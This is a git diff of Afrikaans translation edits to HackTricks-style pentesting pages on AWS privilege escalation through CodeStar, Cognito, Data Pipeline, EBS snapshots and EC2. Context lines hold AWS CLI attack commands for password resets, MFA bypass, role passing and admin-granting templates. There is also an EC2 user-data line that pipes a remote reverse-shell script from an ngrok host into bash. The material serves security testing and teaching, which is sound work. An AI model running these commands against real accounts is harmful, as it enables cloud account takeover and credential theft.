-Ek het dit getoets deur die proses op die webblad te doen, die toestemmings wat voorheen aangedui is, is nie die Lys/Kry een wat benodig word om 'n codepipeline te skep nie, maar om dit op die web te skep, sal jy ook nodig hê: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+Ek het dit getoets deur die proses op die webblad te doen, die toestemmings wat voorheen aangedui is, is nie die Lys/Kry een wat benodig word om 'n codepipeline te skep nie, maar om dit op die web te skep, sal jy ook nodig hê: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
Tydens die **skepping van die bouprojek** kan jy 'n **opdrag om te loop** aandui (rev shell?) en om die boufase as **bevoegde gebruiker** te laat loop, dit is die konfigurasie wat die aanvaller benodig om te kompromenteer:
@@ -32,6 +32,6 @@ Dit mag moontlik wees om die rol wat gebruik word en die opdrag wat op 'n codepi
[AWS noem](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-> Wanneer hierdie API aangeroep word, **gee CodePipeline tydelike geloofsbriewe vir die S3-bucket** wat gebruik word om artefakte vir die pipeline te stoor, indien die aksie toegang tot daardie S3-bucket vir invoer of uitvoer artefakte benodig. Hierdie API **gee ook enige geheime waardes wat vir die aksie gedefinieer is** terug.
+> Wanneer hierdie API aangeroep word, **gee CodePipeline tydelike geloofsbriewe vir die S3-bucket** wat gebruik word om artefakte vir die pipeline te stoor, indien die aksie toegang tot daardie S3-bucket vir invoer of uitvoer artefakte vereis. Hierdie API **gee ook enige geheime waardes wat vir die aksie gedefinieer is** terug.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 870c5f76e..5434c92c7 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -39,7 +39,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-role "Owner" \
--remote-access-allowed
```
-If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
+As jy reeds 'n **lid van die projek** is, kan jy die toestemming **`codestar:UpdateTeamMember`** gebruik om **jou rol** na eienaar te verander in plaas van `codestar:AssociateTeamMember`.
**Potensiële Impak:** Privesc na die codestar beleid wat gegenereer is. Jy kan 'n voorbeeld van daardie beleid vind in:
@@ -53,18 +53,18 @@ codestar-createproject-codestar-associateteammember.md
- Gebruik die **`codestar:CreateProjectFromTemplate`** aksie om die skepping van 'n nuwe projek te begin.
- Na suksesvolle skepping, word toegang outomaties toegestaan vir **`cloudformation:UpdateStack`**.
- Hierdie toegang teiken spesifiek 'n stapel wat geassosieer is met die `CodeStarWorker--CloudFormation` IAM rol.
-2. **Werk die Teiken Stapel Op:**
+2. **Werk die Teikenstapel Op:**
- Met die toegewyde CloudFormation toestemmings, gaan voort om die gespesifiseerde stapel op te dateer.
-- Die naam van die stapel sal tipies voldoen aan een van twee patrone:
+- Die stapel se naam sal tipies aan een van twee patrone voldoen:
- `awscodestar--infrastructure`
- `awscodestar--lambda`
- Die presiese naam hang af van die gekose sjabloon (verwys na die voorbeeld uitbuitingskrip).
3. **Toegang en Toestemmings:**
- Na die opdatering, verkry jy die vermoëns wat aan die **CloudFormation IAM rol** gekoppel is met die stapel.
-- Let op: Dit bied nie inherent volle administrateur voorregte nie. Bykomende verkeerd geconfigureerde hulpbronne binne die omgewing mag benodig word om voorregte verder te verhoog.
+- Let op: Dit bied nie inherent volle administrateur regte nie. Bykomende verkeerd geconfigureerde hulpbronne binne die omgewing mag benodig word om regte verder te verhoog.
-For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
+Jy kan die uitbuiting vind in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
**Potensiële Impak:** Privesc na cloudformation IAM rol.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 558a37cd6..9f319ceee 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -4,7 +4,7 @@
Met hierdie toestemmings kan jy **'n codestar IAM Rol misbruik** om **arbitraire aksies** deur 'n **cloudformation sjabloon** uit te voer.
-Om dit te benut, moet jy 'n **S3-bucket skep wat toeganklik is** vanaf die aangevalde rekening. Laai 'n lêer genaamd `toolchain.json` op. Hierdie lêer moet die **cloudformation sjabloon uitbuiting** bevat. Die volgende kan gebruik word om 'n bestuurde beleid aan 'n gebruiker onder jou beheer toe te ken en **admin-toestemmings** te gee:
+Om dit te benut, moet jy 'n **S3-bucket skep wat toeganklik is** vanaf die aangevalde rekening. Laai 'n lêer op met die naam `toolchain.json`. Hierdie lêer moet die **cloudformation sjabloon exploit** bevat. Die volgende kan gebruik word om 'n bestuurde beleid aan 'n gebruiker onder jou beheer toe te ken en **admin-toestemmings** te gee:
```json:toolchain.json
{
"Resources": {
@@ -28,11 +28,11 @@ Om dit te benut, moet jy 'n **S3-bucket skep wat toeganklik is** vanaf die aange
}
}
```
-Ook **laai** hierdie `leë zip` lêer op na die **houer**:
+Laai ook hierdie `leë zip` lêer op na die **bucket**:
{% file src="../../../../images/empty.zip" %}
-Onthou dat die **houer met albei lêers toeganklik moet wees deur die slagoffer rekening**.
+Onthou dat die **bucket met albei lêers toeganklik moet wees deur die slagoffer rekening**.
Met albei dinge opgelaai kan jy nou voortgaan met die **uitbuiting** deur 'n **codestar** projek te skep:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index 774f1a6c4..3955c1c0d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,7 +12,7 @@ Vir meer inligting oor Cognito, kyk:
### Versameling van akrediteerbare uit Identiteitspoel
-Aangesien Cognito **IAM rol akrediteerbare** aan beide **geverifieerde** en **ongeverifieerde** **gebruikers** kan toeken, as jy die **Identiteitspoel ID** van 'n toepassing kan vind (dit behoort hardgecodeer te wees), kan jy nuwe akrediteerbare verkry en dus privesc (binne 'n AWS-rekening waar jy waarskynlik glad nie enige akrediteerbare gehad het nie).
+Aangesien Cognito **IAM rol akrediteerbare** aan beide **geverifieerde** en **ongeverifieerde** **gebruikers** kan toeken, as jy die **Identiteitspoel ID** van 'n toepassing vind (dit behoort hardgecodeer te wees), kan jy nuwe akrediteerbare verkry en dus privesc (binne 'n AWS-rekening waar jy waarskynlik glad nie enige akrediteerbare gehad het nie).
Vir meer inligting [**kyk hierdie bladsy**](../aws-unauthenticated-enum-access/#cognito).
@@ -38,7 +38,7 @@ As die cognito-app **nie ongemagtigde gebruikers geaktiveer het nie**, mag jy oo
### `cognito-identity:update-identity-pool`
-'n Aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer stel of enige ander identiteitsverskaffer waar hy kan aanmeld as 'n **manier om toegang te verkry tot hierdie Cognito Identity Pool**. Dan, net **aanmeld** op daardie gebruikersverskaffer sal **hom toelaat om toegang te verkry tot die geconfigureerde gemagtigde rol in die Identity Pool**.
+'n Aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer stel of enige ander identiteitsverskaffer waar hy kan aanmeld as 'n **manier om toegang tot hierdie Cognito Identity Pool te verkry**. Dan, net **aanmeld** op daardie gebruikersverskaffer sal **hom toelaat om toegang te verkry tot die geconfigureerde gemagtigde rol in die Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -92,13 +92,13 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id -
### `cognito-idp:AdminConfirmSignUp`
-Hierdie toestemming laat toe om **'n aanmelding te verifieer**. Standaard kan enigiemand in Cognito toepassings aanmeld, as dit gelaat word, kan 'n gebruiker 'n rekening met enige data skep en dit met hierdie toestemming verifieer.
+Hierdie toestemming laat toe om 'n **aanmelding te verifieer**. Standaard kan enigiemand in Cognito toepassings aanmeld, as dit gelaat word, kan 'n gebruiker 'n rekening met enige data skep en dit met hierdie toestemming verifieer.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id \
--username
```
-**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers as jy 'n nuwe gebruiker kan registreer. Indirekte privesc na ander app-funksies deur enige rekening te kan bevestig.
+**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers as jy 'n nuwe gebruiker kan registreer. Indirekte privesc na ander app funksies deur enige rekening te kan bevestig.
### `cognito-idp:AdminCreateUser`
@@ -121,11 +121,11 @@ aws cognito-idp admin-enable-user \
--user-pool-id \
--username
```
-**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers en toestemmings van die gebruiker as die aanvaller kredensiale vir 'n gedeaktiveerde gebruiker gehad het.
+**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM-rol vir geverifieerde gebruikers en toestemmings van die gebruiker as die aanvaller kredensiale vir 'n gedeaktiveerde gebruiker gehad het.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-Hierdie toestemming laat toe om in te log met die [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel.
+Hierdie toestemming laat toe om aan te meld met die [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel.
### `cognito-idp:AdminSetUserPassword`
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username \
--user-pool-id
```
-**SetUserPoolMfaConfig**: Soortgelyk aan die vorige een kan hierdie toestemming gebruik word om MFA-voorkeure van 'n gebruikerspoel in te stel om die MFA-beskerming te omseil.
+**SetUserPoolMfaConfig**: Soortgelyk aan die vorige een, kan hierdie toestemming gebruik word om MFA voorkeure van 'n gebruikerspoel in te stel om die MFA-beskerming te omseil.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id \
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool:** Dit is ook moontlik om die gebruikerspoel op te dateer om die MFA-beleid te verander. [Kyk cli hier](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** Dit is ook moontlik om die gebruikerspoel op te dateer om die MFA-beleid te verander. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Potential Impact:** Indirekte privesc na potensieel enige gebruiker waarvan die aanvaller die akrediteeringe ken, dit kan toelaat om die MFA-beskerming te omseil.
@@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-'n Aanvaller met hierdie toestemming kan **'n nuwe User Pool Client minder beperk** as reeds bestaande pool kliënte skep. Byvoorbeeld, die nuwe kliënt kan enige soort metode toelaat om te autentiseer, geen geheim hê nie, token herroeping gedeaktiveer hê, tokens toelaat om vir 'n langer tydperk geldig te wees...
+'n Aanvaller met hierdie toestemming kan **'n nuwe User Pool Client minder beperk** as reeds bestaande pool kliënte skep. Byvoorbeeld, die nuwe kliënt kan enige soort metode toelaat om te autentiseer, geen geheim hê nie, token intrekking gedeaktiveer hê, tokens toelaat om vir 'n langer tydperk geldig te wees...
Diezelfde kan gedoen word as daar in plaas van om 'n nuwe kliënt te skep, 'n **bestaande een gewysig** word.
-In die [**opdraglyn**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (of die [**opdateer een**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien, kyk daarna!
+In die [**opdraglyn**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (of die [**opdatering een**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien, kyk daarna!
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id \
@@ -234,7 +234,7 @@ aws cognito-idp create-identity-provider \
### cognito-sync:\* Analise
-Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identiteitspoele. Alhoewel 'n wildcard in 'n toestemmings altyd sleg lyk (veral afkomstig van AWS), is die **gegewe toestemmings nie super nuttig vanuit 'n aanvaller se perspektief nie**.
+Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identiteitspoele. Alhoewel 'n wildcard in 'n toestemming altyd sleg lyk (veral afkomstig van AWS), is die **gegewe toestemmings nie baie nuttig vanuit 'n aanvaller se perspektief nie**.
Hierdie toestemming laat toe om gebruikersinligting van Identiteitspoele en Identiteits-ID's binne Identiteitspoele te lees (wat nie sensitiewe inligting is nie).\
Identiteits-ID's mag [**Datasette**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) toegeken hê, wat inligting van die sessies is (AWS definieer dit as 'n **gespeelde speletjie**). Dit mag moontlik wees dat dit 'n soort sensitiewe inligting bevat (maar die waarskynlikheid is redelik laag). Jy kan in die [**enumerasiepunt**](../aws-services/aws-cognito-enum/) vind hoe om toegang tot hierdie inligting te verkry.
@@ -243,7 +243,7 @@ Identiteits-ID's mag [**Datasette**](https://docs.aws.amazon.com/cognitosync/lat
### Outomatiese Gereedskap
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS-uitbuitingsraamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito-bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare pasgemaakte attributen, bruikbare identiteitspoel akkrediteer, aanneembare rolle in id tokens, ens.
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitasiemodel, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteitspoel krediete, aanneembare rolle in id tokens, ens.
Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blogpos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy.
@@ -255,7 +255,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
-Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening, te versamel:
+Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel:
```bash
Pacu (new:test) > run cognito__enum
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index 5c780098e..928fd062f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -12,11 +12,11 @@ Vir meer inligting oor datapipeline, kyk:
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-Gebruikers met hierdie **toestemmings kan voorregte verhoog deur 'n Data Pipeline te skep** om arbitrêre opdragte uit te voer met behulp van die **toestemmings van die toegewyde rol:**
+Gebruikers met hierdie **toestemmings kan voorregte opgradeer deur 'n Data Pipeline te skep** om arbitrêre opdragte uit te voer met die **toestemmings van die toegewyde rol:**
```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
```
-Na die skep van die pyplyn, werk die aanvaller sy definisie by om spesifieke aksies of hulpbron skeppings te bepaal:
+Na die skep van die pyplyn, werk die aanvaller die definisie op om spesifieke aksies of hulpbron skeppings te bepaal:
```json
{
"objects": [
@@ -50,16 +50,16 @@ Na die skep van die pyplyn, werk die aanvaller sy definisie by om spesifieke aks
}
```
> [!NOTE]
-> Let daarop dat die **rol** in **lyn 14, 15 en 27** 'n rol moet wees wat **assumable is deur datapipeline.amazonaws.com** en die rol in **lyn 28** moet 'n **rol wees wat assumable is deur ec2.amazonaws.com met 'n EC2-profiel instansie**.
+> Let daarop dat die **rol** in **lyn 14, 15 en 27** 'n rol moet wees wat **assumable deur datapipeline.amazonaws.com** is en die rol in **lyn 28** moet 'n **rol wees wat assumable deur ec2.amazonaws.com met 'n EC2 profiel instansie**.
>
-> Boonop sal die EC2-instansie slegs toegang hê tot die rol wat assumable is deur die EC2-instansie (so jy kan net daardie een steel).
+> Boonop sal die EC2 instansie slegs toegang hê tot die rol wat assumable deur die EC2 instansie is (so jy kan net daardie een steel).
```bash
aws datapipeline put-pipeline-definition --pipeline-id \
--pipeline-definition file:///pipeline/definition.json
```
-Die **pypelyn-definisie-lêer, saamgestel deur die aanvaller, sluit opdragte in om opdragte uit te voer** of hulpbronne te skep via die AWS API, wat die Data Pipeline se roltoestemmings benut om moontlik bykomende voorregte te verkry.
+Die **pypelyn definisie lêer, geskep deur die aanvaller, sluit opdragte in om opdragte uit te voer** of hulpbronne te skep via die AWS API, wat die Data Pipeline se rol toestemmings benut om moontlik addisionele voorregte te verkry.
-**Potensiële Impak:** Direkte privesc na die ec2 diensrol wat gespesifiseer is.
+**Potensiële Impak:** Direkte privesc na die ec2 diensrol gespesifiseer.
## Verwysings
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 794cda193..4d3cb13c1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -17,7 +17,7 @@ Standaard is die enigste bestaande gebruiker **Admin**.
```
aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123.
```
-### AWS Management Console
+### AWS Bestuurskonsol
Dit is moontlik om 'n **toepassingstoegang URL** in te skakel wat gebruikers van AD kan gebruik om aan te meld:
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index e2521ee5e..0e79e1add 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -20,7 +20,7 @@ Die hulpmiddel [https://github.com/Static-Flow/CloudCopy](https://github.com/Sta
### **`ec2:CreateSnapshot`**
-Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming besit, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te koppel en die **NTDS.dit en SYSTEM** registerhive-lêer te eksporteer vir gebruik met Impacket se secretsdump-projek.
+Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming besit, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te monteer en die **NTDS.dit en SYSTEM** registerhive-lêer te eksporteer vir gebruik met Impacket se secretsdump projek.
Jy kan hierdie hulpmiddel gebruik om die aanval te outomatiseer: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) of jy kan een van die vorige tegnieke gebruik nadat jy 'n snapshot geskep het.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 9b1911c18..e93ba022b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Toegang via rev shell in gebruikersdata**
-Jy kan 'n nuwe instansie gebruik deur 'n **gebruikersdata** (`--user-data`) wat vir jou 'n **rev shell** sal stuur. Jy hoef nie 'n sekuriteitsgroep op hierdie manier te spesifiseer nie.
+Jy kan 'n nuwe instansie draai met 'n **gebruikersdata** (`--user-data`) wat vir jou 'n **rev shell** sal stuur. Jy hoef nie 'n sekuriteitsgroep op hierdie manier te spesifiseer nie.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Wees versigtig met GuradDuty as jy die akrediteerings van die IAM-rol buite die instansie gebruik:
+Wees versigtig met GuradDuty as jy die akrediteerings van die IAM rol buite die instansie gebruik:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Potensiële Impak:** Direkte privesc na enige EC2-rol wat aan bestaande instansieprofiele geheg is.
+**Potensiële Impak:** Direkte privesc na enige EC2 rol wat aan bestaande instansie profiele geheg is.
#### Privesc na ECS
-Met hierdie stel toestemmings kan jy ook **'n EC2-instansie skep en dit binne 'n ECS-kluster registreer**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2-instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS-rolle wat geheg is** steel.
+Met hierdie stel toestemmings kan jy ook **'n EC2 instansie skep en dit registreer binne 'n ECS kluster**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2 instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS rolle wat geheg is** steel.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Om te leer hoe om **ECS-dienste te dwing om** in hierdie nuwe EC2-instantie te loop, kyk:
+Om te leer hoe om **ECS-dienste te dwing** om in hierdie nuwe EC2-instantie te loop, kyk:
{{#ref}}
aws-ecs-privesc.md
{{#endref}}
-As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar-aanval uitvoer.
+As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar aanval uitvoer.
**Potensiële Impak:** Direkte privesc na ECS-rolle wat aan take geheg is.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe akrediteerbare kan steel.\
-Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** benodig.
+Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe akrediteer kan steel.\
+Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name